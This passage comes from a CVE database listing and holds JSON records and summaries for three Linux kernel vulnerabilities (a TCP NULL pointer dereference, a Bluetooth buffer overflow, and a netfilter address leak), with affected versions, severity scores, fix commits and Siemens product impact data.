          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: check skb is non-NULL in tcp_rto_delta_us()\n\nWe have some machines running stock Ubuntu 20.04.6 which is their 5.4.0-174-generic\nkernel that are running ceph and recently hit a null ptr dereference in\ntcp_rearm_rto(). Initially hitting it from the TLP path, but then later we also\nsaw it getting hit from the RACK case as well. Here are examples of the oops\nmessages we saw in each of those cases:\n\nJul 26 15:05:02 rx [11061395.780353] BUG: kernel NULL pointer dereference, address: 0000000000000020\nJul 26 15:05:02 rx [11061395.787572] #PF: supervisor read access in kernel mode\nJul 26 15:05:02 rx [11061395.792971] #PF: error_code(0x0000) - not-present page\nJul 26 15:05:02 rx [11061395.798362] PGD 0 P4D 0\nJul 26 15:05:02 rx [11061395.801164] Oops: 0000 [#1] SMP NOPTI\nJul 26 15:05:02 rx [11061395.805091] CPU: 0 PID: 9180 Comm: msgr-worker-1 Tainted: G W 5.4.0-174-generic #193-Ubuntu\nJul 26 15:05:02 rx [11061395.814996] Hardware name: Supermicro SMC 2x26 os-gen8 64C NVME-Y 256G/H12SSW-NTR, BIOS 2.5.V1.2U.NVMe.UEFI 05/09/2023\nJul 26 15:05:02 rx [11061395.825952] RIP: 0010:tcp_rearm_rto+0xe4/0x160\nJul 26 15:05:02 rx [11061395.830656] Code: 87 ca 04 00 00 00 5b 41 5c 41 5d 5d c3 c3 49 8b bc 24 40 06 00 00 eb 8d 48 bb cf f7 53 e3 a5 9b c4 20 4c 89 ef e8 0c fe 0e 00 \u003c48\u003e 8b 78 20 48 c1 ef 03 48 89 f8 41 8b bc 24 80 04 00 00 48 f7 e3\nJul 26 15:05:02 rx [11061395.849665] RSP: 0018:ffffb75d40003e08 EFLAGS: 00010246\nJul 26 15:05:02 rx [11061395.855149] RAX: 0000000000000000 RBX: 20c49ba5e353f7cf RCX: 0000000000000000\nJul 26 15:05:02 rx [11061395.862542] RDX: 0000000062177c30 RSI: 000000000000231c RDI: ffff9874ad283a60\nJul 26 15:05:02 rx [11061395.869933] RBP: ffffb75d40003e20 R08: 0000000000000000 R09: ffff987605e20aa8\nJul 26 15:05:02 rx [11061395.877318] R10: ffffb75d40003f00 R11: ffffb75d4460f740 R12: ffff9874ad283900\nJul 26 15:05:02 rx [11061395.884710] R13: ffff9874ad283a60 R14: ffff9874ad283980 R15: ffff9874ad283d30\nJul 26 15:05:02 rx [11061395.892095] FS: 00007f1ef4a2e700(0000) GS:ffff987605e00000(0000) knlGS:0000000000000000\nJul 26 15:05:02 rx [11061395.900438] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nJul 26 15:05:02 rx [11061395.906435] CR2: 0000000000000020 CR3: 0000003e450ba003 CR4: 0000000000760ef0\nJul 26 15:05:02 rx [11061395.913822] PKRU: 55555554\nJul 26 15:05:02 rx [11061395.916786] Call Trace:\nJul 26 15:05:02 rx [11061395.919488]\nJul 26 15:05:02 rx [11061395.921765] ? show_regs.cold+0x1a/0x1f\nJul 26 15:05:02 rx [11061395.925859] ? __die+0x90/0xd9\nJul 26 15:05:02 rx [11061395.929169] ? no_context+0x196/0x380\nJul 26 15:05:02 rx [11061395.933088] ? ip6_protocol_deliver_rcu+0x4e0/0x4e0\nJul 26 15:05:02 rx [11061395.938216] ? ip6_sublist_rcv_finish+0x3d/0x50\nJul 26 15:05:02 rx [11061395.943000] ? __bad_area_nosemaphore+0x50/0x1a0\nJul 26 15:05:02 rx [11061395.947873] ? bad_area_nosemaphore+0x16/0x20\nJul 26 15:05:02 rx [11061395.952486] ? do_user_addr_fault+0x267/0x450\nJul 26 15:05:02 rx [11061395.957104] ? ipv6_list_rcv+0x112/0x140\nJul 26 15:05:02 rx [11061395.961279] ? __do_page_fault+0x58/0x90\nJul 26 15:05:02 rx [11061395.965458] ? do_page_fault+0x2c/0xe0\nJul 26 15:05:02 rx [11061395.969465] ? page_fault+0x34/0x40\nJul 26 15:05:02 rx [11061395.973217] ? tcp_rearm_rto+0xe4/0x160\nJul 26 15:05:02 rx [11061395.977313] ? tcp_rearm_rto+0xe4/0x160\nJul 26 15:05:02 rx [11061395.981408] tcp_send_loss_probe+0x10b/0x220\nJul 26 15:05:02 rx [11061395.985937] tcp_write_timer_handler+0x1b4/0x240\nJul 26 15:05:02 rx [11061395.990809] tcp_write_timer+0x9e/0xe0\nJul 26 15:05:02 rx [11061395.994814] ? tcp_write_timer_handler+0x240/0x240\nJul 26 15:05:02 rx [11061395.999866] call_timer_fn+0x32/0x130\nJul 26 15:05:02 rx [11061396.003782] __run_timers.part.0+0x180/0x280\nJul 26 15:05:02 rx [11061396.008309] ? recalibrate_cpu_khz+0x10/0x10\nJul 26 15:05:02 rx [11061396.012841] ? native_x2apic_icr_write+0x30/0x30\nJul 26 15:05:02 rx [11061396.017718] ? lapic_next_even\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:38:45.801Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/ad4f0a14d6856e68f023fc4e5017cfd881a3dfbc"
        },
        {
          "url": "https://git.kernel.org/stable/c/16e0387d87fc858e34449fdf2b14ed5837f761db"
        },
        {
          "url": "https://git.kernel.org/stable/c/ec31cf42fc4e35bb1248ce6eb1de6de9f851ac86"
        },
        {
          "url": "https://git.kernel.org/stable/c/5c4c03288a4aea705e36aa44119c13d7ee4dce99"
        },
        {
          "url": "https://git.kernel.org/stable/c/96c4983eab2a5da235f7fff90beaf17b008ba029"
        },
        {
          "url": "https://git.kernel.org/stable/c/570f7d8c9bf14f041152ba8353d4330ef7575915"
        },
        {
          "url": "https://git.kernel.org/stable/c/81d18c152e3f82bacadf83bc0a471b2363b9cc18"
        },
        {
          "url": "https://git.kernel.org/stable/c/09aea49fbc7e755a915c405644f347137cdb62b0"
        },
        {
          "url": "https://git.kernel.org/stable/c/c8770db2d54437a5f49417ae7b46f7de23d14db6"
        }
      ],
      "title": "tcp: check skb is non-NULL in tcp_rto_delta_us()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47684",
    "datePublished": "2024-10-21T11:53:25.787Z",
    "dateReserved": "2024-09-30T16:00:12.941Z",
    "dateUpdated": "2026-05-12T11:58:10.645Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26889 (GCVE-0-2024-26889)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:50

Title

Bluetooth: hci_core: Fix possible buffer overflow

Summary

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_core: Fix possible buffer overflow struct hci_dev_info has a fixed size name[8] field so in the event that hdev->name is bigger than that strcpy would attempt to write past its size, so this fixes this problem by switching to use strscpy.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/6d5a9d4a7bcbb7534…
https://git.kernel.org/stable/c/54a03e4ac1a41edf8…
https://git.kernel.org/stable/c/d47e6c1932cee0295…
https://git.kernel.org/stable/c/2e845867b4e279eff…
https://git.kernel.org/stable/c/a41c8efe659caed0e…
https://git.kernel.org/stable/c/8c28598a2c29201d2…
https://git.kernel.org/stable/c/2edce8e9a99dd5e44…
https://git.kernel.org/stable/c/81137162bfaa72787…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 194ab82c1ea187512ff2f822124bd05b63fc9f76 , < 6d5a9d4a7bcbb7534ce45a18a52e7bd23e69d8ac (git) Affected: b48595f5b1c6e81e06e164e7d2b7a30b1776161e , < 54a03e4ac1a41edf8a5087bd59f8241b0de96d3d (git) Affected: ffb060b136dd75a033ced0fc0aed2882c02e8b56 , < d47e6c1932cee02954ea588c9f09fd5ecefeadfc (git) Affected: bbec1724519ecd9c468d1186a8f30b7567175bfb , < 2e845867b4e279eff0a19ade253390470e07e8a1 (git) Affected: dcda165706b9fbfd685898d46a6749d7d397e0c0 , < a41c8efe659caed0e21422876bbb6b73c15b5244 (git) Affected: dcda165706b9fbfd685898d46a6749d7d397e0c0 , < 8c28598a2c29201d2ba7fc37539a7d41c264fb10 (git) Affected: dcda165706b9fbfd685898d46a6749d7d397e0c0 , < 2edce8e9a99dd5e4404259d52e754fdc97fb42c2 (git) Affected: dcda165706b9fbfd685898d46a6749d7d397e0c0 , < 81137162bfaa7278785b24c1fd2e9e74f082e8e4 (git) Affected: d9ce7d438366431e5688be98d8680336ce0a0f8d (git) Affected: a55d53ad5c86aee3f6da50ee73626008997673fa (git) Affected: 5558f4312dca43cebfb9a1aab3d632be91bbb736 (git)
Linux	Linux	Affected: 6.6 Unaffected: 0 , < 6.6 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.187Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6d5a9d4a7bcbb7534ce45a18a52e7bd23e69d8ac"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/54a03e4ac1a41edf8a5087bd59f8241b0de96d3d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d47e6c1932cee02954ea588c9f09fd5ecefeadfc"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2e845867b4e279eff0a19ade253390470e07e8a1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/68644bf5ec6baaff40fc39b3529c874bfda709bd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a41c8efe659caed0e21422876bbb6b73c15b5244"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8c28598a2c29201d2ba7fc37539a7d41c264fb10"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2edce8e9a99dd5e4404259d52e754fdc97fb42c2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/81137162bfaa7278785b24c1fd2e9e74f082e8e4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-26889",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-11T21:45:31.651235Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-120",
                "description": "CWE-120 Buffer Copy without Checking Size of Input (\u0027Classic Buffer Overflow\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-07T19:59:25.169Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:11.286Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/hci_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "6d5a9d4a7bcbb7534ce45a18a52e7bd23e69d8ac",
              "status": "affected",
              "version": "194ab82c1ea187512ff2f822124bd05b63fc9f76",
              "versionType": "git"
            },
            {
              "lessThan": "54a03e4ac1a41edf8a5087bd59f8241b0de96d3d",
              "status": "affected",
              "version": "b48595f5b1c6e81e06e164e7d2b7a30b1776161e",
              "versionType": "git"
            },
            {
              "lessThan": "d47e6c1932cee02954ea588c9f09fd5ecefeadfc",
              "status": "affected",
              "version": "ffb060b136dd75a033ced0fc0aed2882c02e8b56",
              "versionType": "git"
            },
            {
              "lessThan": "2e845867b4e279eff0a19ade253390470e07e8a1",
              "status": "affected",
              "version": "bbec1724519ecd9c468d1186a8f30b7567175bfb",
              "versionType": "git"
            },
            {
              "lessThan": "a41c8efe659caed0e21422876bbb6b73c15b5244",
              "status": "affected",
              "version": "dcda165706b9fbfd685898d46a6749d7d397e0c0",
              "versionType": "git"
            },
            {
              "lessThan": "8c28598a2c29201d2ba7fc37539a7d41c264fb10",
              "status": "affected",
              "version": "dcda165706b9fbfd685898d46a6749d7d397e0c0",
              "versionType": "git"
            },
            {
              "lessThan": "2edce8e9a99dd5e4404259d52e754fdc97fb42c2",
              "status": "affected",
              "version": "dcda165706b9fbfd685898d46a6749d7d397e0c0",
              "versionType": "git"
            },
            {
              "lessThan": "81137162bfaa7278785b24c1fd2e9e74f082e8e4",
              "status": "affected",
              "version": "dcda165706b9fbfd685898d46a6749d7d397e0c0",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "d9ce7d438366431e5688be98d8680336ce0a0f8d",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "a55d53ad5c86aee3f6da50ee73626008997673fa",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "5558f4312dca43cebfb9a1aab3d632be91bbb736",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/bluetooth/hci_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.6"
            },
            {
              "lessThan": "6.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "4.19.297",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "5.4.259",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.10.199",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.15.137",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "6.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "6.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "6.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "6.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.328",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.1.60",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.5.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_core: Fix possible buffer overflow\n\nstruct hci_dev_info has a fixed size name[8] field so in the event that\nhdev-\u003ename is bigger than that strcpy would attempt to write past its\nsize, so this fixes this problem by switching to use strscpy."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:15.290Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/6d5a9d4a7bcbb7534ce45a18a52e7bd23e69d8ac"
        },
        {
          "url": "https://git.kernel.org/stable/c/54a03e4ac1a41edf8a5087bd59f8241b0de96d3d"
        },
        {
          "url": "https://git.kernel.org/stable/c/d47e6c1932cee02954ea588c9f09fd5ecefeadfc"
        },
        {
          "url": "https://git.kernel.org/stable/c/2e845867b4e279eff0a19ade253390470e07e8a1"
        },
        {
          "url": "https://git.kernel.org/stable/c/a41c8efe659caed0e21422876bbb6b73c15b5244"
        },
        {
          "url": "https://git.kernel.org/stable/c/8c28598a2c29201d2ba7fc37539a7d41c264fb10"
        },
        {
          "url": "https://git.kernel.org/stable/c/2edce8e9a99dd5e4404259d52e754fdc97fb42c2"
        },
        {
          "url": "https://git.kernel.org/stable/c/81137162bfaa7278785b24c1fd2e9e74f082e8e4"
        }
      ],
      "title": "Bluetooth: hci_core: Fix possible buffer overflow",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26889",
    "datePublished": "2024-04-17T10:27:42.814Z",
    "dateReserved": "2024-02-19T14:20:24.186Z",
    "dateUpdated": "2026-05-12T11:50:11.286Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-44944 (GCVE-0-2024-44944)

Vulnerability from cvelistv5 – Published: 2024-08-30 07:56 – Updated: 2026-05-12 11:57

Title

netfilter: ctnetlink: use helper function to calculate expect ID

Summary

In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: use helper function to calculate expect ID Delete expectation path is missing a call to the nf_expect_get_id() helper function to calculate the expectation ID, otherwise LSB of the expectation object address is leaked to userspace.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/66e7650dbbb8e236e…
https://git.kernel.org/stable/c/64c0b8e64be836861…
https://git.kernel.org/stable/c/eb4ca1a97e08ff5b9…
https://git.kernel.org/stable/c/5e2c24f7b0911b15c…
https://git.kernel.org/stable/c/24f407042cf90b087…
https://git.kernel.org/stable/c/27662b46f2adaa52c…
https://git.kernel.org/stable/c/74de442b8e12a207c…
https://git.kernel.org/stable/c/782161895eb4ac45c…
https://www.zerodayinitiative.com/advisories/ZDI-…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 7b115755fb9d3aff0ddcd18a5c4d83381362acce , < 66e7650dbbb8e236e781c670b167edc81e771450 (git) Affected: 3c79107631db1f7fd32cf3f7368e4672004a3010 , < 64c0b8e64be8368617ef08dfc59a3160563a1435 (git) Affected: 3c79107631db1f7fd32cf3f7368e4672004a3010 , < eb4ca1a97e08ff5b920664ba292e576257e2d184 (git) Affected: 3c79107631db1f7fd32cf3f7368e4672004a3010 , < 5e2c24f7b0911b15c29aefce760bcf770542fb61 (git) Affected: 3c79107631db1f7fd32cf3f7368e4672004a3010 , < 24f407042cf90b0872de667460230d8d50c06c39 (git) Affected: 3c79107631db1f7fd32cf3f7368e4672004a3010 , < 27662b46f2adaa52c1665a82af4b21c42c4337fd (git) Affected: 3c79107631db1f7fd32cf3f7368e4672004a3010 , < 74de442b8e12a207c07953ee068009a7701aff8f (git) Affected: 3c79107631db1f7fd32cf3f7368e4672004a3010 , < 782161895eb4ac45cf7cfa8db375bd4766cb8299 (git) Affected: 3d8b3d0384f709126beef6b917b7e97c23f18e74 (git) Affected: 36bbd861a402a8c5bd8f0365a5967d34cc492f09 (git) Affected: 1922476beeeea46bebbe577215078736dd4231dc (git) Affected: f862c13c3c926d3008b2c2bcc746ab813108dfbf (git) Affected: b0a90cae081d7ee14eaa46524fb70f4e23ae8905 (git)
Linux	Linux	Affected: 5.1 Unaffected: 0 , < 5.1 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-44944",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:27:16.326567Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:16.802Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:13:48.590Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:57:21.285Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/netfilter/nf_conntrack_netlink.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "66e7650dbbb8e236e781c670b167edc81e771450",
              "status": "affected",
              "version": "7b115755fb9d3aff0ddcd18a5c4d83381362acce",
              "versionType": "git"
            },
            {
              "lessThan": "64c0b8e64be8368617ef08dfc59a3160563a1435",
              "status": "affected",
              "version": "3c79107631db1f7fd32cf3f7368e4672004a3010",
              "versionType": "git"
            },
            {
              "lessThan": "eb4ca1a97e08ff5b920664ba292e576257e2d184",
              "status": "affected",
              "version": "3c79107631db1f7fd32cf3f7368e4672004a3010",
              "versionType": "git"
            },
            {
              "lessThan": "5e2c24f7b0911b15c29aefce760bcf770542fb61",
              "status": "affected",
              "version": "3c79107631db1f7fd32cf3f7368e4672004a3010",
              "versionType": "git"
            },
            {
